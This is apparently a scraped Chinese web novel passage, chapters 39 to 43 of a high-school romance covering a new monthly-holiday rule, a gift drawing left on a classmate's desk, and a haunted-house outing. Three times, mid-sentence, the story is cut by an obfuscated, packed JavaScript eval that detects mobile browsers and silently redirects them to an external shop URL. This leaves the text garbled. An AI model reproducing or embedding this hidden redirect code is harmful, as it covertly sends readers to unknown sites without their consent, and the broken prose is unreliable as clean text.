“好了,同学们,我们的寒假已经结束了,年也过了,玩也玩了,红包也收了,回到学校就该静下心来了,你们现在已经到了高二的下学期了,明年就要高考了,留给你们的时间不多了……” “现在的时间是很紧张且宝贵的,所以你们更应该珍惜时间,将更多的时间花在学习上,要把所有的玩乐都抛在脑后……” “讲来讲去都是那些话,能不能说点不一样的,听都听腻了。” 夜晚路灯的光线太暗记不了单词,唐思雨趴在于听眠地后背兴致缺缺。 于听眠没回唐思雨的话,她皱眉看着台上滔滔不绝的年级主任,隐隐有种不祥的预感,整颗心都悬了起来。 “所以经过年级组成员的深思熟虑,我们决定——”年级主任憋了半天的大招终于放了出来:“从今天起,取消双休制度,改为月假形式,每隔三个星期放一次双休,其余时间只有周日下午才能自由活动。” “啊??!!!!” 很好。 悬着的心终于死了。 于听眠释然地笑了。 40. 悄悄话 “卧槽不是吧?!!” “什么东西啊?我听错了??” “三个星期放一次假?!会死在学校的吧?” 台下的气氛瞬间像活鱼进了油锅,疯狂扑腾起来,一时半会居然压不下去。 不过奇怪的是,趴在于听眠背上的唐思雨这会儿出奇的安静,简直不像她会做的事,按理说现在应该已经开始哀嚎了。 “思雨?”于听眠喊了她一声。 “……嗯?”唐思雨气若游丝。 “你还好吗?” “死了有一会儿了。” 原来是哀默大于心死,悲莫过于无声。 于听眠表示理解,她们现在的感觉是一样的,因而没再打扰她,让她先安静地死一会儿。 “安静安静,你们啊也没用,这是年级很早就定下的决定……” 喧闹声被镇压下去,再怎么议论也无济于事,年级主任看这群人反应那么大,拿起话筒又是一通语重心长的长篇大论,看样子一时半会儿也结束不了。 唐思雨站得腿酸,嘴巴也干,她舔了舔干燥的嘴唇,开始撺掇于听眠一起去小超市逛逛。 于听眠正有此意,两人一拍即合狼狈为奸,去梁兆兴面前说要去上厕所。 梁兆兴睁一只眼闭一只眼:“去吧,别太久了,散会前记得回来。” 两人知道这是自己的小心思被看穿了,有些心虚但不多:“嘿嘿谢谢老梁,我们一定按时回来,绝不让你操心!” 梁兆兴笑笑:“少来,你们这群小兔崽子让我操的心还少吗?还去不去厕所了?不去就回去听领导讲话。” “去去去——”唐思雨拉着于听眠赶紧跑路,跑时还不忘把蹩脚的戏做足:“哎、哎呀好急啊,眠眠我们快点去吧!” 于听眠简直没眼看:“……你和我演的时候好像没那么浮夸的?” 唐思雨反驳:“哪里浮夸?我觉得我演得天衣无缝,给我一个剧本我能原地出道,我现在强得可怕。” 于听眠蔑视的眼神上下打量她:“我觉得你可以和我小表弟坐一桌。” 唐思雨:“你小表弟怎么了?” 于听眠:“他唱歌五音不全跳舞手脚不协说要去当偶像。” 唐思雨:“你在内涵我。” 于听眠摊手无辜状:“哪有,怎么会~嗷——” 标准结局,她又被揍了。 “嘶——”揍完人,唐思雨的小脸也皱在了一起:“哎你别说,不知道是不是心理作用,刚说完上厕所现在还真有点想去厕所,说什么来什么。” “哦?这么灵?”于听眠揉揉被锤了一拳的胳膊,说:“那你现在赶紧说我明天买彩票能中头奖,真中了分你一半。” 唐思雨:“真的?那要是没中头奖只中了十块钱呢?” 于听眠:“那算了,十块钱是真的可能中。” 唐思雨:“滚。” 买彩票说笑的,唐思雨要去厕所倒是真的:“你先去帮我买瓶雪碧吧,我等会儿过去找你。” “行哦。” 于听眠独自一人前往小超市,操场上年级主任抑扬顿挫的讲话声远去,途经的路上行人寥寥,树叶停止了拂动,世界静悄悄的。 她莫名有一种与世界脱离了的错觉。 平时闹哄哄的小超市现在也是异常的安静,若换作正常的时间点,这里早已里三圈外三圈被包围了个彻底,还能听到老板娘喋喋不休的报价声。 而现在只能看到窗户处透着朦胧的灯光,和老板娘有一搭没一搭的唠嗑声。 于听眠思维发散,已经开始幻想要是一脚踏进去看见领导该找什么理由说明开会时间自己出现在这里。 她抬脚走进小超市。 领导是没见着了,倒是见到了个意想不到的人。 “谢、谢惊洛?” 于听眠差点以为自己看岔眼了,脑子还没转过来嘴就先行一步喊了他一声。 “嗯?” 立于冰柜前的谢惊洛闻声回头,手里还拿着一罐冒着寒气的可乐。 “是你啊。”谢惊洛眉如新月,嘴角勾起一丝轻然笑意:“来买东西吗?” “嗯,是的。”于听眠无处安放的手背在身后轻轻搅动:“想买些饮料。” “一个人跑出来的?” “不是。”于听眠摇头:“和唐思雨一起,她去厕所了,让我先帮她买……你也是跑出来的?” …… 她又问了句废话。 开会时间能出现在这里的,除了跑出来还能是怎么来的? 于听眠想掐死自己。 “不算。”谢惊洛把玩着手中的可乐道。 “不算?” “嗯,我没去开会。” “……啊?” 她以为自己和唐思雨跑路来小超市已经是胆大包天,原来还有人更胜一筹? 谢惊洛没过多解释,他伸手拉开了刚关上的冰柜门,问她:“想喝什么?” 于听眠以为是谢惊洛离冰柜近想顺手帮她拿,就报了自己想喝的奶茶和唐思雨要的雪碧。 正想伸手接过,就看见他拿着三瓶饮料径直向收银台走去。 她愣愣地看着他付款结账。 直到谢惊洛将装着两瓶饮料的小塑料袋递到自己面前,她才猛然回神。 “谢……谢谢!”于听眠手忙脚乱地接过袋子,“多少钱我还给你吧!” 谢惊洛看着她着急还清“负债”的模样觉得好笑:“没关系,请你们喝,就当封口费了。” “封口费?” “嗯。”谢惊洛眨了一下眼睛,黑曜石般的瞳孔里倒映着于听眠的身影,他压低嗓子,用只有他们两个能听见的声音低声着,像在说着什么不能让他人知道的悄悄话:“我没去开会偷偷跑来小超市的事,不要告诉别人,好吗?” 于听眠站在小超市门前的树下,看着谢惊洛的身影消失在光线昏暗的拐角,回想起自己方才的状态,不知怎么就被他的模样蛊惑,糊里糊涂地就应了好。 现在想来应当傻气极了。 感受到脸上延迟漫上的燥热,于听眠抬手扇了扇手动给自己降温,觉得效果好像不太够,便又将冰奶茶还冒着凉气的瓶身贴上脸颊。 希望等会儿唐思雨过来不要发现异常。 “眠眠我来了!” 待于听眠脸上的燥热消退了些,唐思雨也来到了小超市。 于听眠板着一张脸将她要的雪碧拿出来递给她。 唐思雨看着她手上的雪碧,没接,反而撅着嘴满是幽怨地瞅着她。 于听眠摸不着头脑:“怎么了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190404|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 唐思雨神情委屈:“你为什么不帮我拧开瓶盖?” 于听眠:“?” 唐思雨继续哭诉:“我上厕那么辛苦,结果回来你连饮料的瓶盖都不愿意帮我拧开!” 于听眠:“……” 唐思雨得寸进尺:“你果然是不爱我了!” 于听眠哼笑一声,收回手把雪碧放回袋子里:“你爱喝不喝。” 唐思雨眼疾手快一把夺过:“别呀~” 她自力更生拧开瓶盖迫不及待喝了一口,冰凉的液体顺着喉咙下去整个人都舒爽了。 “呜呼~爽了。”唐思雨心满意足拧回瓶盖,问她:“多少钱我给你。” 于听眠解释:“不是我买的。” 唐思雨闻言大惊失色:“啊?你抢的?这不好吧?!” “……你去抢一个我看看?”于听眠忍住想拍她的冲动:“谢惊洛请我们的。” 早说唐思雨就放心了,不过她还是奇怪:“谢惊洛?他怎么在这里?这个时候不应该在开会吗?” “不知道啊。”于听眠面无表情:“可能也是出来上厕所的吧。” 散了会还要回教室自习一段时间才能放学回家。 于听眠有点心不在焉,桌面上摆着一道语文阅读理解,手却时不时伸进桌肚里摸一下静心准备好的画作,目光也不由自主地一直落在谢惊洛的背影上。 三心二意的结果就是,一节课下来只堪堪做完了一道阅读理解题。 她知道这样分心不对,浪费了不少学习的时间,但她有点别扭。 不比天台那次一时上头,画好的画冲动之下当场就给出去了,现在这副烟花,时间隔得久了反而不敢当面给他了。 他还记得烟花这件事吗?毕竟都过去两个月了,说不定他根本不记得了呢?看他的样子好像也没有要提起的意思,难道真的不记得了? 她一整节课都在纠结这几个问题。 直至下课铃响前的最后一分钟,她终于决定等谢惊洛走了之后再悄悄将画放他桌面上。 她假意埋头做题,一副不写完手下的题就不回去的模样。待班上的人都走得差不多了,她捏着纸张鬼鬼祟祟地靠近了谢惊洛的座位。 于听眠四下扫视一圈,见余留的几个人都在忙着自己的事没注意到她。 她飞快将手上的画平铺在谢惊洛整洁的桌面上,怕轻薄的纸张被吹飞还拉过一本书把它盖了个严实,不把书本拿开都不知道下面盖了什么。 2014年2月16日 天气:阴 很遗憾,今天,开学了。 啊…… 多么绝望的字眼啊。 我又回到了天不亮就爬起来,半夜才能睡觉的生活了。 哦,这还不是最绝望的,更绝望的是今晚开会年级领导宣布了以后每隔三个星期才有一次双休,其他时间只有周日下午才能自由活动。 意思就是说以后我差不多一个月才能睡一次懒觉啊啊啊啊啊啊啊—— 这种事情不要哇—— 卒。 不用挂念我,我死得很安详。 而且死前我已经把答应给谢惊洛画的烟花压在他书下了,已经没有遗憾了。 好啦,现在我要拉上我的棺材板啦。 再见了这个世界。 41. 万一写呢? 第二日于听眠一大早就来到了教室,正巧看到班长在公示栏处贴上个学期期末的成绩。 于听眠眼睛一亮,连忙进教室放下书包抄起桌面上的便签和笔就跑出去记成绩。 每次都是唐思雨去抄,这次她也抄一次,等唐思雨来了让她好好感谢自己。 于听眠脑子里装着邪恶的想法。 虽然结局大概率是会被揍。 时间还早,来的人不多,班长的成绩表又贴得悄无声息,一时间竟只有于听眠一个人站在公示栏前。 时间充裕,于听眠记下自己和唐思雨的成绩后,又把一些熟人的成绩也看了一遍。 秦长宇的、许云的、何宸逸的、还有……谢惊洛的。 不出意外,谢惊洛又是年级第一。 排名越高,水平越高,想往上爬就越难。不比之前一次考试就前进一两百名,这回于听眠只进步了五名,甚至对比起上一次考试,这次的数学还有了些许的退步,多亏得英语发挥超常,将分数稳住了。 于听眠指尖夹着笔身有一下没一下地转动,视线在自己成绩栏和谢惊洛成绩栏之间来回切换,不知道在想些什么。 她清楚知道自己的数学目前到了一个瓶颈期,可她不知道她接下来是能突破这个瓶颈还是止步于此。 她不知道自己最终能离谢惊洛多近。 未知的未来令人翘首以盼又让人踌躇不前。 于听眠悄然叹息,闭了闭眼将眼里杂乱的情绪压了下去,拿着便签回到座位放下,然后去了洗手间。 从洗手间出来,于听眠站在前边的走廊上,趴着栏杆,眺望远方的高楼大厦许久。眼看着就要打铃了,才从栏杆上起身往教室走去。 她绕了个路,没从前面进去,绕到了教室后门,也没直接进去,而是伸了个脑袋往里面看。 谢惊洛已经坐在了位置上,她昨晚用来压画的书被挪开,被压的画也不在桌面上了。 看来是被收起来了。 于听眠松了口气。 而后又觉得自己别别扭扭的行为特别好笑,明明很希望他看见,但又不敢亲眼看着他看,非要等到事情结束了才敢偷偷摸摸去确认结果。 其实说白了就是害怕结果不是自己预想中的,害怕他根本就不记得了,也害怕他根本没把这件事放在心上,所以只敢等事情尘埃落定后再去确认已定的结果,届时无论是什么结果都好接受,总比煎熬的等待过程强。 学校实行月休制度后,学习任务也更为繁重,各种试卷、学习报、学习资料接踵而至,永无止境,每次课间上厕所回来都能看见一堆崭新出炉的卷子横铺在桌面上,乱糟糟的一叠。偶尔没去上厕所,趴在桌面上小憩一会儿,有试卷发来不想动就让人盖自己头上,等醒来时就会发现自己早已被试卷淹没,光是看着就让人觉得头疼。 一开始于听眠还会发一张折一张,将它们分类归纳好,直到后来折的速度远比不上发的速度,她也就放弃了,就这么看着课代表发,等他们发完了就全部拢一陇卷一起塞桌肚里,再额外找个时间统一分类。 其实也没人觉得能把这些加起来半米高的卷子资料全部写完看完,各科老师也不做硬性要求,只是偶尔挑一两张性价比高的布置作业让他们做,其余的叫他们有时间就去写写,实在没时间就写好布置的就行。 高强度学习了差不多三个月,迎来了期中考试,看到题目的那一刻于听眠能明显感觉到题目难度有了不小的提升。 好在这三个月的努力也不是白费的,于听眠尚且能应付,还有些游刃有余,不过美中不足的是,她的数学瓶颈期一直未能突破。 期中成绩出来后,年级又召开了一次会议,除了表彰考得不错的同学、请学生代表发言外,又宣布了一件事。 会议结束后,从第二天起增加早晚小测,早上上课前一次,晚上自习前一次,除此之外每过两周还会进行一次周测,用意在于培养学生对考试的脱敏,让学生提前习惯考试,真正面对高考的时候也能用平常心对待。 这回的议论声完全不似取消双休那回的大,也可能认为比起取消双休,这点反而容易接受多了。 非要找出一个不太能接受的点的话,就是早上的小测要额外花半个小时的时间,所以以后到校的时间也要提早半个小时。 这点对于于听眠这种起床困难户来说,简直比用试卷活埋了她还难受。本来晚上写题睡得就晚,还要再提早半个小时起床,于听眠年纪轻轻就失去了对生活的期望,连写日记的频率都低了很多,有那点时间都用来补觉了,每天步伐缥缈像具行尸走肉。 班上有不少家远的走读生选择了住校,方便来回的同时也免去了通勤时间能多睡一会儿。 于听眠也曾想过要不要也去住校,但转念一想,她家离学校不算远,这点时间有没有也没差,而且一想到住校还要花费精力去分配吃饭洗澡打理内务的时间就觉得难受。 利弊权衡之下,于听眠打消了这个可怕的念头。 要说在一片高压之下有什么特殊的话,大概就是谢惊洛。 听秦长宇说,他早上起不来,就申请了免去早上的小测,别人或许不好说,但他的成绩摆在那里,确实有底气提出这个要求。对应的,他的申请梁兆兴批准了,年级主任也盖章通过了,秦长宇问他用的什么理由,他说早上睡眠不足,没精力听课。 秦长宇说不愧是他能干出来的事。 学校里的娱乐项目匮乏,早测过后看着谢惊洛进来,听着他们聊天插科打诨,偶尔看着谢惊洛的身影发呆,都算于听眠为数不多的娱乐项目。 就这样又熬过了三周,轮到了期盼已久的双休。 唐思雨最近迷上了各种小零食,每次下课总要找点什么丢进嘴巴里嚼一嚼,她说人生就那么点期盼了,不吃点什么觉得自己都没动力去上下一节课。 于听眠看她的架势生怕她哪天就抓着自己啃上一口。 她啃着一块小面包,对于听眠说:“明天周末不用上课哎。” 于听眠翻译着一篇英语短文,头也不抬地回她:“嗯,我知道。” 唐思雨继续问:“这两天有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200285|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有什么安排?” “安排?”于听眠认真思考一下说:“我最近新入手了一本看着不错的习题册……” “停——”唐思雨打断她:“你别告诉我难得的一次双休你要用来写题。” “那倒不是。”于听眠摊手:“我打算用来补觉,睡个天昏地暗,况且也没事干,写题只是顺带的。” “不许睡。”唐思雨谴责且道德绑架她:“这个年纪你怎么睡得着的?你睡觉的时候不会觉得愧疚吗?大好的时光就这么浪费了!” 于听眠听不进她的谴责且拒绝了她的道德绑架:“就是这个年纪睡得才香,怎么?你对我的大好时光有什么想法?” “当然。”唐思雨邪魅一笑,伸手妩媚地勾了勾她的下巴:“你的大好时光就该贡献给我。” “咦惹——”于听眠躲开她的手,起了一身鸡皮疙瘩:“有事就说,别整这些怪吓人的。” 唐思雨:“市区那个新建的游乐场明天开张,门票六折,要不要一起去玩儿?” “可以啊,不过……”于听眠看了一眼开始提前发双休作业的课代表们:“这些作业怎么办呢?” “不写。”唐思雨看着那堆卷子就烦:“两天时间……不对,星期天晚上还要回来上晚自习,就一天半的时间发二十几张卷子谁写得完,不知道的还以为我们犯天条了,它实在不想让我们放假可以不放的。” 说的也是。 于听眠释怀了:“那好,明天几点?” 唐思雨:“游乐场九点开门,八点集合吧,今晚早点睡。” 于听眠:“就我们俩吗?” 唐思雨:“我还没问秦长宇,不知道他去不去,等会儿我问问他,他去的话肯定会拉上谢惊洛,今晚发消息告诉你。” 于听眠比了个OK的手势:“行,等你消息。” 尽管嘴上说着不写,但于听眠还是将那一沓卷子背回了家。 万一写呢? “哎呀妈呀……”于听眠将明显变沉的背包甩在一边,瘫在沙发上感觉身体被掏空,精神稍微松懈疲惫感也随之而来,她现在困得要死一根手指也不想动。 “饿不饿?要不要吃点东西?”付向晓捡起她随手乱丢的背包放好,坐在她身边拍了拍她。 于听眠摇头,翻身坐了起来:“先不用了,我先去洗个澡清醒一下。” 付向晓应好:“去吧,洗完澡饿了桌子上有吃的。” “好……对了妈妈,我明早约了同学去市区游乐场玩。” “难得放假不休息两天吗?”付向晓记得她说过放假不睡懒觉这假等于没放。 “去玩也算休息嘛,而且也挺久没出门了。” “那好吧,零用钱够花吗?” “够的,新年红包还攒着呢,我也没什么要花钱的地方。” 洗了澡,身体和精神上的疲惫感都被热水冲淡了不少,于听眠恢复了几分精神。桌子上的饭菜还温着,她随便吃了点就提着背包回了房间。 正给手机充上电,唐思雨的消息就弹了出来。 42. 鬼屋 [思雨:问了问了。] [思雨:他俩也去。] [小鲤鱼:好,知道了。] 于听眠将手机熄屏放置一旁,倏然想起自己好像挺久没有写日记了,遂又从老地方拿出了日记本。 2014年5月23日 天气:多云 好累好累好累—— 救命啊……自从开始三个星期放一次双休后每天都好累啊……睡不够完全睡不够……好想睡觉好想睡觉好想睡觉…… 为什么要有早测啊……知道每天提早半个小时起床对我这个爱赖床的小女孩来说造成的伤害有多大吗? 死学校我恨你。 好羡慕谢惊洛申请了免去早测每天能多睡一会儿,这就是年纪第一的底气吗?提这样的要求完全不慌,听秦长宇评价说这家伙太嚣张了,每天踩着收小测的点来接收注目礼,笑死,我要是有谢惊洛那样的成绩我能嚣张得课都不来上。(假的假的,有这个想法但没那个胆子) 总而言之,明天也是放假了,要和大家一起去游乐园玩,今晚就不额外写题了,早点睡觉做个好梦犒劳一下自己~ 五月末已是春末渡初夏的节点,空气中已然隐隐掺杂了一丝燥热,若平心静气不动还好,但换做是出门游玩,蹦蹦跳跳的,免不了会出一身薄汗。 于听眠今日穿了一件宽松的纯白短T搭配一条黑色运动裤,她的穿搭本意原是为了凉爽和方便游玩各种项目,却不曾料到竟然和谢惊洛是……同色系。 见面时于听眠还愣了一下,而后可耻地心虚起来。黑白搭配其实是很常见的搭配,好看又百搭,满大街一眼看过去也有不少人这样穿。 为什么心虚呢?因为心理作用作祟,她潜意识觉得这样像……情侣装。 啪—— 黑色小人冒出来给了她后脑勺一巴掌,开始骂她:“真不要脸啊,还情侣装?人家除了颜色和你撞上了,其他的设计、衣服的版型还有哪点和你相似了?你还真敢联想。” 白色小人—— 白色小人没敢冒出来。 不过…… 于听眠偷看了眼谢惊洛。不得不说谢惊洛穿白衬衫是真的好看,少年气十足,以及那张精雕细琢的面容,即使已经看过很多次了,但再仔细看时还是会被惊艳。 一个人怎么能集那么多优点于一身呢?就像上帝的宠儿。 于听眠实在想不明白。 然而这点心虚别扭在进入游乐场后就烟消云散了,现在她的眼里只有过山车、跳楼机、鬼屋等各种紧张刺激的游玩项目。 反正上帝的宠儿和自己是一个班的,随时都能偷看,但游乐场的门票是实打实花了钱且有时间限制的,比起这个,美色暂且可以先放一放。 检票成功正式进入游乐场时,工作人员会给每人发一张场内的地图,上面标注了各个项目在哪个区域。 于听眠和唐思雨对着地图认真研究游玩路线。 唐思雨:“你有什么特别想玩的吗?” 于听眠伸手指了几个:“垂直过山车、跳楼机还有鬼屋,这几个我特别想玩。” 唐思雨又指了另外几个项目:“除了你说的这些,我还想玩海盗船的大摆锤,我去这高度看着就刺激!” 在一旁默默旁听的两个男生:“……” 唐思雨问他们:“这些是我们想玩的,你们有什么其他要玩的吗?” 秦长宇:“哈哈,完全没有。” 谢惊洛笑:“你们决定就好。” 玩也是有技巧的,要在有限的时间里合理分配时长和规划路线。 于听眠在地图上比划了两下,游玩思路清晰:“鬼屋离我们是最近的,然后往前走就是垂直跳楼机,跳楼机旁边就是过山车,我们可以先去鬼屋,然后顺着这条路一路玩下去,刚好可以兜个圈。” 非常不错的路线,唐思雨收起地图:“那走吧,先去鬼屋~” 于听眠玩过的鬼屋也不少,这个游乐场的倒是新颖,每隔二十分钟放进去一批人,一批十个,进里面走到一半会有个分叉口,两条道路两个主题,一条通往精神病院一条通往午夜酒店,游客可自行选择走哪条路。 “请注意,游客进入鬼屋前请勿携带危险物品;请注意身体健康,有心脏病或其他疾病患者谨慎进入;请按照指定路线前进,不要乱跑,请不要殴打或非礼工作人员;若游玩途中感到身体不适请站在原地向头顶上方示意,工作人员会通过监控找到您并带你离开……” “我们选哪个主题?”唐思雨听着里头传来的注意事项,看着介绍觉得两个都挺有意思的,在两者之间摇摆不定,眼看着队伍慢慢缩短马上就要轮到他们了,她连忙征求小伙伴们的意见。 于听眠更想走医院:“我想去医院,经典地点。” 谢惊洛:“医院吧。” 秦长宇:“医院,我看看这次能整出什么新东西。” 全票通过。 从入口进去是一条漆黑的长廊,安静异常,只有鞋子与地面摩擦发出的窸窣声和游客压低音量的交谈声,平白给这条空旷安静的长廊多添了几分诡异。眼睛逐渐适应黑暗后于听眠睁大眼睛努力集中精神分辨眼前朦胧的景物,预防有鬼突脸吓人。 “啊——” “哎呀?” 走在他们前方的一名游客忽然失声尖叫,于听眠没被诡异的气氛吓到,反倒被游客的尖叫声唬了一跳。 她下意识后退一步,后背撞在了一个温热坚硬的物体上。不等她反应过来那是什么东西,一只手就扶在了她的肩上。 很轻的一下,只虚虚碰到,等于听眠稳住了身形又迅速抽离开,随之而来的是谢惊洛刻意压低了的嗓音。 “没事的。” 这下于听眠知道了,她刚刚大概是……撞到谢惊洛怀里去了。 这是从未有过的近距离接触。 燥气瞬间蒸腾而上,眨眼间就蔓延了整张脸,连身体也跟着一起发烫,心跳的韵律徒然加快,心跳声如雷贯耳,在胸膛里怦然响动,幸而视野昏暗,无人能看出她的异常。 一只冰冷的手抓住了她纤细的脚踝。 显然不止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213308|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一个人得到了这种“款待”,此起彼伏的尖叫声彰显了这里的原住民们热情开朗的性格,以及从不厚此薄彼的博爱。 于听眠做过心理准备没被吓到,反而觉得这只异常冰凉的手有着些许降温的作用,甚至有点想问这只手的主人是不是提前摸过冰块才会达到这种效果。 抓着她脚踝的手很快就松开,前面传来唐思雨逐渐兴奋起来的声音:“有点意思啊,我有点期待后面会不会有追逐环节了,眠眠要是等会儿你跑不动了我拖也会把你拖出去的!” 于听眠想象了一下唐思雨说的那个画面,觉得有点丢脸:“谢谢,不用了,我还是自己跑吧。” 唐思雨声音有很明显的失望:“那好吧。” 于听眠:“……” 你到底在失望个什么劲啊?拖着我跑手动增加游戏体验是吧? 再往前摸索着走一段就到了分岔口。 两扇紧闭的大门,一扇门前站着一个护士服老旧,面色煞白的护士姐姐,面无表情,眼神幽幽地看着来客;另一扇门则站着脸上用红颜料画着夸张笑容,身穿酒店工作服,站姿笔直的服务员姐姐,她笑容僵硬,笑眯眯地看着来客。 护士姐姐声音沙哑幽怨:“欢迎光临……” 服务员姐姐声音轻快热情:“欢迎光临~~” “请选择你们要走的路。” 怎么看都是酒店那边更有活人气一些。 于听眠他们四人进来之前就决定了要走医院线,此时也就直接站去了医院门前,其余六人则是选择了看起来更为和善一些的酒店线。 “啊?就我们四个进医院吗?”情况出乎唐思雨的意料,她以为医院这边看起来更刺激会有挺多人选的。 “只有我们四个不是更刺激吗?鬼来了一抓一个准。”于听眠道。 “……对哦!”唐思雨醍醐灌顶。 鬼屋的刺激程度向来是和人数成反比的,人越少越刺激,人多了体验感反而会降低不少。 站好了队,护士姐姐给他们拧开大门上挂着的锁。 破旧的大门一推开就发出了令人耳朵刺挠的“咯吱”声,往里看是黑漆漆一片,站在门外完全看不到里面的景象。 “桀桀……”护士姐姐发出阴恻恻的笑,她的头是低着的,眼珠子却在往上瞟,配上她那张惨白的面容,看上去格外渗人:“祝你们……游戏愉快。” 于听眠:“……” 先不说接下来的游戏体验会怎么样,但至少目前的气氛是烘托得挺不错的。 秦长宇打头阵,身后跟着唐思雨和于听眠,谢惊洛断后,四人呈一字型依次踏入大门。 等走在最后的谢惊洛也踏进了门内,护士姐姐“嘭”地一声就关上了门,眼前骤然陷入一片黑暗,伸手不见五指,隔着薄薄的门他们听到了门外落锁的声音。 “……” 秦长宇:“这细节做得还挺足……” 呼—— 不等他说完,两边的墙壁上燃起了昏暗的火光,微弱的火苗一闪一闪,勉强让他们看清了眼前的情景。 43. 真刺激 走道两边隔一段距离就安了一扇铁门,隔离出了好几个小房间,铁门禁闭着,没有窗户,只在门上开了个小口,用栏杆挡着,乍一看像是监狱用来关押犯人用的门。 哐当哐当—— 左边第一个房间里的人猝不及防地扑倒了门上,双手抓着栏杆使劲摇晃,嘴里发出意义不明的嘶吼声,脆弱的铁门发出不堪重负的“吱呀吱呀”声,好似下一秒里面的人就能把铁门撞开冲出来。 叮铃哐啷的撞门声就像一个暗定的信号,这扇门有了动静,其他房间里的“病人”也开始躁动起来。 有人声音凄厉地喊着自己没病,求人放他出去;有人伤痕遍布的手臂从栏杆的缝隙中伸出来胡乱抓挠,试图抓住他们;有人整张脸贴在栏杆上,不摇门,也不出声,就视线一直粘在于听眠他们身上,直勾勾盯着他们从眼前走过,往更深处的黑暗走去。 于听眠每路过一扇门就观察一扇,她发现这些房间大多数是没有门牌号的,除了一直盯着他们看的那个人的房间。 只有他的房门上标着门牌号。 2241。 “这氛围整得可以啊……这些演员演得还挺逼真,比咱俩的演技好多了。”唐思雨小心翼翼躲过一只在空中乱抓的手,反手紧紧搂住于听眠,几乎整个人都贴在了她的身上。 搂得太紧,有点阻碍于听眠走路了,她伸手扒拉了两下没把人扒拉下来,遂放弃抵抗,眼珠子滴溜溜一转,开始不怀好意吓唬她:“万一不是演的呢?万一从刚才那扇门被上锁开始,我们就已经进入到了另一个世界……嗷——” 于听眠揉了揉腰间被掐了的肉肉,表情愤然:“好痛哦——” “少来。”唐思雨白了她一眼:“我刚才根本就没出力,亏你嗷那么大声……不是你真的不觉得挺吓人的吗?” “还好,站在中间不是很害怕。” “也是。”唐思雨点头赞同,前有秦长宇后有谢惊洛,轮不到她们害怕的。 于听眠笑她:“刚刚不还说要拖着我跑吗?怎么先害怕起来了?” 唐思雨理直气壮:“就是因为害怕鬼追来了我才会跑,我跑了才能拖着你跑,我要是不害怕站在原地不动怎么拖你?” 于听眠:“……” 可恶,她说得好有道理。 走在最前方的秦长宇也回头凑了个热闹:“要真有鬼追来了还有洛哥殿后呢,洛哥的位置老刺激了,看着就好玩。” 闻言,谢惊洛收回落在其他地方的视线,转而督了他一眼,笑道:“觉得好玩的话你可以来感受一下。” “那算了那算了。”秦长宇赶忙拒绝,走在最后背后凉嗖嗖的,鬼知道什么时候就被拍肩了,所以断后这种责任重大的事就让谢惊洛这种能者多劳的来吧,反正看他一副云淡风轻的模样真撞鬼了说不定连气息都不带乱一下的。 还是打头阵看着安全点……虽然好像也安全不到哪去。 看似风平浪静地通过了这道光线昏暗的长廊,他们走到了长廊的尽头。 尽头又是一扇铁门。 不同的是这扇铁门上挂着一把四位数的密码锁,四个小轮盘从上至下排列,需要把轮盘转至正确的数字才能开锁。 秦长宇拎起锁研究:“嘶——要四位数的密码……怎么还有解密环节?你们有什么头绪吗?” 四位数的密码? 于听眠猛然回想起那个独有的门牌号。 “2241!” “2241。” 于听眠和谢惊洛同时脱口而出。 两者的声音重叠在一起,于听眠愣了一下,回头看了眼谢惊洛。 “啊?怎么你俩都知道密码?”唐思雨十分有十一分的不解:“你们加钱买线索了?” 谢惊洛简明扼要解释:“那一排房间除了2241没有其他门牌号了。” 得到了密码,秦长宇开始转动小轮盘,边转还边称赞道:“你们俩观察得还挺细致的,我光注意着前面会不会有鬼突脸了,门牌号什么的一点没看。” 被夸了按理来说于听眠应该谦虚几句,但她现在完全没心思回秦长宇的话。 方才她下意识去看谢惊洛,所以她现在还保持着一个回头的姿势。然后她看见了他们背后的那一扇扇铁门被人从里面一点一点地推开了。 一群面色惨白穿着病服的“病人”从里面摇摇晃晃地走了出来,一齐扭头,不约而同地看向了于听眠等人所在的方向。 “……” 于听眠咽了口唾沫,开口问道:“那个……秦长宇,你锁开得怎么样了?” 秦长宇专心转转盘:“快了,这转盘太小了有点难转,怎么了?” “……哈哈。”于听眠干笑两声:“要不……你们回头看看呢?” 三人转头。 “病人”们正步伐扭曲怪异地向他们靠近,且速度有加快的趋势,短短不到二十米的路程在迅速缩短,强势的压迫感扑面而来。 秦长宇:“……” 唐思雨:“……” 谢惊洛沉声提醒呆滞在原地的秦长宇:“别看了快开。” 秦长宇在震惊中被谢惊洛喊醒,猛然回头死命扒拉那几个小转盘,手指都划拉出了残影,即便如此嘴上也没闲着开始嚎叫:“卧槽啊啊啊啊什么东西啊啊啊——” 离他最近的唐思雨被他嚎得耳朵疼,给他背后来了一巴掌:“不要叫了!快点他们开始跑起来了!” 